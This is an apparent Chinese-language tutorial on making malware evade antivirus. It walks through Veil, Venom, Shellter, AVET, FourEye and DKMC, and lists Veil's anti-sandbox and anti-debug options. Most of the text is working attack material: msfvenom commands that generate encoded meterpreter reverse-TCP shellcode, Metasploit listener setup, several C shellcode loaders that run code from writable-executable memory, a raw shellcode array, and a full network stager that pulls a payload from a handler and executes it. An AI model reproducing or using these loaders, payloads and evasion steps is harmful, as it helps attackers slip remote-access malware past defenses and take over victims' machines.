免殺知識匯總
一、殺軟常見的三種方式
靜態查殺(郵件類查殺一般是靜態的)-->一般根據特征碼識別到-->對文件進行特征匹配的思路
云查殺
行為查殺(也可以理解為動態查殺)-->對其產生的行為進行檢測
3.1 可構建行為庫進行動態查殺
3.2 可構建日志庫對日志庫進行動態查殺
3.3 統計學檢測-->構建特征學習模型-->進行動態查獲取就好了
二、免殺的三種常用方式
①捆綁-->文件捆綁,自解壓捆綁,如exe類型的
②特征碼混淆思路-->即混淆特征碼進而繞過免殺
三種方式:
2.1 代碼混淆
2.2 api鉤子(函數混淆類)-->典型dll劫持類型-->即偽造一個dll文件,然后在調用dll文件的時候,先調用偽造的dll文件,在調用真實的dll文件,進而實現處理木馬的操作。
2.3 溢出類型漏洞特點類
③白名單-->原理:殺毒軟件對自己旗下的軟件不檢測導致
三、利用工具實現免殺
1,veil工具基礎實現免殺+進階
①啟動方法
cd /opt ls veil(運行veil即可)
使用方法
如 生成go語言的免殺馬
use 1 list use 16 set lhost ip set lport 端口 generate#(執行即可)
監聽–>利用msf進行監聽即可
use exploit/multi/handler#選擇監聽模塊類 msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lport 3334 msf5 exploit(multi/handler) > set lport 10.211.55.2 msf5 exploit(multi/handler) > exploit
②結合cs進行免殺
實操(生成go語言的免殺馬)
1)、cs使用生成一個go語言類型的payload
2)、
use1
use 17
3)需要的設置變量類(具體參數設置的含義)
BADMACS 設置為Y表示 查看運行環境的MAC地址如果不是虛擬機才會執行payload (反調試) CLICKTRACK 設置為4表示 表示需要4次點擊才會執行 CURSORCHECK 設置為100表示 運行環境的硬盤大小如果大于100GB才會執行payload (反沙箱) COMPILE_TO_EXE 設置為Y表示 編譯為exe文件 HOSTNAME 設置為Comp1表示 只有在Hostname計算機名為Comp1時才會執行payload(指定目標環境 反沙箱的方式) INJECT_METHOD 可設置為Virtual 或 Heap MINPROCS 設置為20表示 只有運行環境的運行進程數大于20時才會執行payload(指定目標環境 反沙箱的方式) PROCCHECK 設置為Y表示 只有運行環境的進程中沒有虛擬機進程時才會執行payload(指定目標環境 反沙箱的方式) PROCESSORS 設置為2表示 只在至少2核的機器中才會執行payload(指定目標環境 反沙箱的方式) RAMCHECK 設置為Y表示 只在運行環境的內存為3G以上時才會執行payload(指定目標環境 反沙箱的方式) SLEEP 設置為10表示 休眠10秒 以檢測是否運行過程中被加速(反沙箱) USERNAME 設置為Tom表示 只有在當前用戶名為Tom的機器中才執行payload。 USERPROMPT 設置為Y表示 在injection之前提醒用戶(提示一個錯誤框,讓用戶誤以為該程序執行錯誤才無法打開) DEBUGGER 設置為Y表示 當被調試器不被attached時才會執行payload (反調試) DOMAIN 設置為Comp表示 受害者計算機只有加入Comp域中時,才會執行payload(指定目標環境 反沙箱的方式) UTCCHECK 設置為Y表示 只在運行環境的系統使用UTC時間時,才會執行payload
4)設置
set USERNAME lll#前三個均表示在該特定的情況下執行這個木馬 set HOSTNAME win7 set UTCcheck TRUE set UTCcheck TRUE generate#(即代表設置完成的含義狀況特點)
5)然后選擇3,即自定義字符串的含義
輸入cs生成的字符串即可
6)設置名字
即可完成組合拳
③結合mingw-w64
生成payload后
利用mingw-w64進行編譯進行實現免殺的作用
gcc -o c.exe c.c -l ws2_32#即過濾掉該命令的狀況思路
2,venom免殺
打開方法
./venom.sh
windows下的基礎免殺
命令步驟
2 4 #輸入ip,輸入端口 #選擇常規的 windows/meterperter/reverse_tcp #輸入文件名 #后面均選默認即可
3,利用kali自帶的shellter進行免殺
基礎生成命令
選擇A#(即自動模式) 選擇注入的程序 選擇是否要用隱身模式(建議不使用,免殺效果會變差) 選擇自定義字符還是自動字符 選擇模塊#一般是選擇1模塊 設置ip,設置端口
監聽方法
handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp(監聽方法)
4、利用avet實現免殺
運行
#進入其的目錄 #然后 python 其py程序即可
一般是直接選擇2生成一個payload
四、利用源碼編譯+加載器加載代碼實現免殺
方式一
cs+c語言代碼組合拳
可參考:https://blog.csdn.net/qq_33942040/article/details/106463360
方式二,msf+c語言源代碼
思路和cs實現免殺的思路差不多,利用編譯進行繞過實現的
①首先現在msf中生成shellcode
c語言代碼1
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f c -o shell.c
②在c語言代碼的buf[]=中添加該shell然后進行編譯即可
unsigned char buf[] =
"shellcode";
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制臺程序不出黑窗口
main()
{
( (void(*)(void))&buf)();
}
c語言代碼2
免殺生成出現問題
#include
#include
#include
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制臺程序不出黑窗口
unsigned char buf[] =
"shellcode";
main()
{
char *Memory;
Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
#include
#include
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x2b\x99"
"\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
size_t size = sizeof(buf);
int main()
{
char *inject;
inject = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//分配可讀可寫可執行
memcpy(inject, buf, size);//復制大小進去
((void(*)())inject)();//執行
}
c語言代碼3
#include
#include
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";
void main()
{
__asm
{
mov eax, offset shellcode
jmp eax
}
}
c語言代碼4
#include
#include
unsigned char buf[] ="";
void main()
{
((void(WINAPI*)(void))&buf)();
}
c語言代碼5(匯編花指令)
注意:生成的exe文件需要環境中有幾個.dll文件才可運行
#include
#include
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";
void main()
{
__asm
{
mov eax, offset shellcode
_emit 0xFF
_emit 0xE0
}
}
c語言代碼6
base4.c代碼
/* Base64 encoder/decoder. Originally Apache file ap_base64.c
*/
#include
#include "base64.h"
/* aaaack but it's fast and const should make it shared text page. */
static const unsigned char pr2six[256] =
{
/* ASCII table */
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64,
64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64,
64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64
};
int Base64decode_len(const char *bufcoded)
{
int nbytesdecoded;
register const unsigned char *bufin;
register int nprbytes;
bufin = (const unsigned char *)bufcoded;
while (pr2six[*(bufin++)] <= 63);
nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
nbytesdecoded = ((nprbytes + 3) / 4) * 3;
return nbytesdecoded + 1;
}
int Base64decode(char *bufplain, const char *bufcoded)
{
int nbytesdecoded;
register const unsigned char *bufin;
register unsigned char *bufout;
register int nprbytes;
bufin = (const unsigned char *)bufcoded;
while (pr2six[*(bufin++)] <= 63);
nprbytes = (bufin - (const unsigned char *)bufcoded) - 1;
nbytesdecoded = ((nprbytes + 3) / 4) * 3;
bufout = (unsigned char *)bufplain;
bufin = (const unsigned char *)bufcoded;
while (nprbytes > 4) {
*(bufout++) =
(unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
*(bufout++) =
(unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
*(bufout++) =
(unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
bufin += 4;
nprbytes -= 4;
}
/* Note: (nprbytes == 1) would be an error, so just ingore that case */
if (nprbytes > 1) {
*(bufout++) =
(unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
}
if (nprbytes > 2) {
*(bufout++) =
(unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
}
if (nprbytes > 3) {
*(bufout++) =
(unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
}
*(bufout++) = '\0';
nbytesdecoded -= (4 - nprbytes) & 3;
return nbytesdecoded;
}
static const char basis_64[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int Base64encode_len(int len)
{
return ((len + 2) / 3 * 4) + 1;
}
int Base64encode(char *encoded, const char *string, int len)
{
int i;
char *p;
p = encoded;
for (i = 0; i < len - 2; i += 3) {
*p++ = basis_64[(string[i] >> 2) & 0x3F];
*p++ = basis_64[((string[i] & 0x3) << 4) |
((int)(string[i + 1] & 0xF0) >> 4)];
*p++ = basis_64[((string[i + 1] & 0xF) << 2) |
((int)(string[i + 2] & 0xC0) >> 6)];
*p++ = basis_64[string[i + 2] & 0x3F];
}
if (i < len) {
*p++ = basis_64[(string[i] >> 2) & 0x3F];
if (i == (len - 1)) {
*p++ = basis_64[((string[i] & 0x3) << 4)];
// *p++ = '=';
}
else {
*p++ = basis_64[((string[i] & 0x3) << 4) |
((int)(string[i + 1] & 0xF0) >> 4)];
*p++ = basis_64[((string[i + 1] & 0xF) << 2)];
}
//*p++ = '=';
}
*p++ = '\0';
return p - encoded;
}
base64.h代碼
#ifndef _BASE64_H_
#define _BASE64_H_
#ifdef __cplusplus
extern "C" {
#endif
int Base64encode_len(int len);
int Base64encode(char * coded_dst, const char *plain_src, int len_plain_src);
int Base64decode_len(const char * coded_src);
int Base64decode(char * plain_dst, const char *coded_src);
#ifdef __cplusplus
}
#endif
#endif //_BASE64_H_
shellcode.c
#include
#include
#include
#include "base64.h"
unsigned char buf[] =
"msf base64 code here";
int main(int argc, const char * argv[]) {
char str1[1000] = { 0 };
Base64decode(str1, buf);
//printf("%d ", sizeof(str3));
char *Memory;
Memory = VirtualAlloc(NULL, sizeof(str1), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, str1, sizeof(str1));
((void(*)())Memory)();
return 0;
}
msf生成base64的shellcode
msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=10.211.55.2 lport=3333 -f c > shell.c
gcc編碼
gcc shellcode.c base64.c -o test.exe
③進行監聽
use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.211.55.2 set LPORT 3333 set EnableStageEncoding true
五、FourEye免殺
kali環境下使用
直接使用即可
python3 BypassFramework.py
加載器方法
1.使用shellcode_launcher
①生成raw格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f raw -o shellcode.raw
②
shellcode_launcher執行產生exe文件
shellcode_launcher.exe -i shellcode.raw #1
六、DKMC免殺
[*] (gen) 將msf的shellcode注入到一個BMP圖像 [*] (web) 啟動web服務用來分發BMP圖像 [*] (ps) 生成ps的payload [*] (sc) 將msf生成的raw文件轉為shellcode [*] (exit) 退出
生成步驟與原理
先利用msf生成raw文件 利用sc講raw文件轉換為shellcode 利用gen將上一步的shellcode注入到一個BMP圖像 利用ps生成基于powershell的BMP文件的payload 用web提供的簡單web服務進行分發BMP文件 https://mp.weixin.qq.com/s/UZqOBQKEMcXtF5ZU7E55Fg 詳細參考教程: https://www.freebuf.com/articles/system/227463.html https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html
七、思維導圖



meta64位過殺軟
過32位
/*
* A C-based stager client compat with the Metasploit Framework
* based on a discussion on the Metasploit Framework mailing list
*
* @作者 Raphael Mudge (raffi@strategiccyber.com)
* @license BSD License.
*
* Relevant messages:
* * http://mail.metasploit.com/pipermail/framework/2012-9月/008660.html
* * http://mail.metasploit.com/pipermail/framework/2012-9月/008664.html
*/
#include
#include
#include
#include
/* init winsock */
void winsock_init() {
WSADATA wsaData;
WORD wVersionRequested;
wVersionRequested = MAKEWORD(2, 2);
if (WSAStartup(wVersionRequested, &wsaData) < 0) {
printf("ws2_32.dll is out of date.");
WSACleanup();
exit(1);
}
}
/* a quick routine to quit and report why we quit */
void punt(SOCKET my_socket, char * error) {
printf("Bad things: %s", error);
closesocket(my_socket);
WSACleanup();
exit(1);
}
/* attempt to receive all of the requested data from the socket */
int recv_all(SOCKET my_socket, void * buffer, int len) {
int tret = 0;
int nret = 0;
void * startb = buffer;
while (tret < len) {
nret = recv(my_socket, (char *)startb, len - tret, 0);
startb += nret;
tret += nret;
if (nret == SOCKET_ERROR)
punt(my_socket, "Could not receive data");
}
return tret;
}
/* establish a connection to a host:port */
SOCKET wsconnect(char * targetip, int port) {
struct hostent * target;
struct sockaddr_in sock;
SOCKET my_socket;
/* setup our socket */
my_socket = socket(AF_INET, SOCK_STREAM, 0);
if (my_socket == INVALID_SOCKET)
punt(my_socket, "Could not initialize socket");
/* resolve our target */
target = gethostbyname(targetip);
if (target == NULL)
punt(my_socket, "Could not resolve target");
/* copy our target information into the sock */
memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
/* attempt to connect */
if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
punt(my_socket, "Could not connect to target");
return my_socket;
}
int main(int argc, char * argv[]) {
ULONG32 size;
char * buffer;
void (*function)();
winsock_init();
if (argc != 3) {
printf("%s [host] [port]", argv[0]);
exit(1);
}
/* connect to the handler */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));
/* read the 4-byte length */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
punt(my_socket, "read a strange or incomplete length value");
/* allocate a RWX buffer */
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
punt(my_socket, "could not allocate buffer");
/* prepend a little assembly to move our SOCKET value to the EDI register
thanks mihi for pointing this out
BF 78 56 34 12 => mov edi, 0x12345678 */
buffer[0] = 0xBF;
/* copy the value of our socket to the buffer */
memcpy(buffer + 1, &my_socket, 4);
/* read bytes into the buffer */
count = recv_all(my_socket, buffer + 5, size);
/* cast our buffer as a function and call it */
function = (void (*)())buffer;
function();
return 0;
}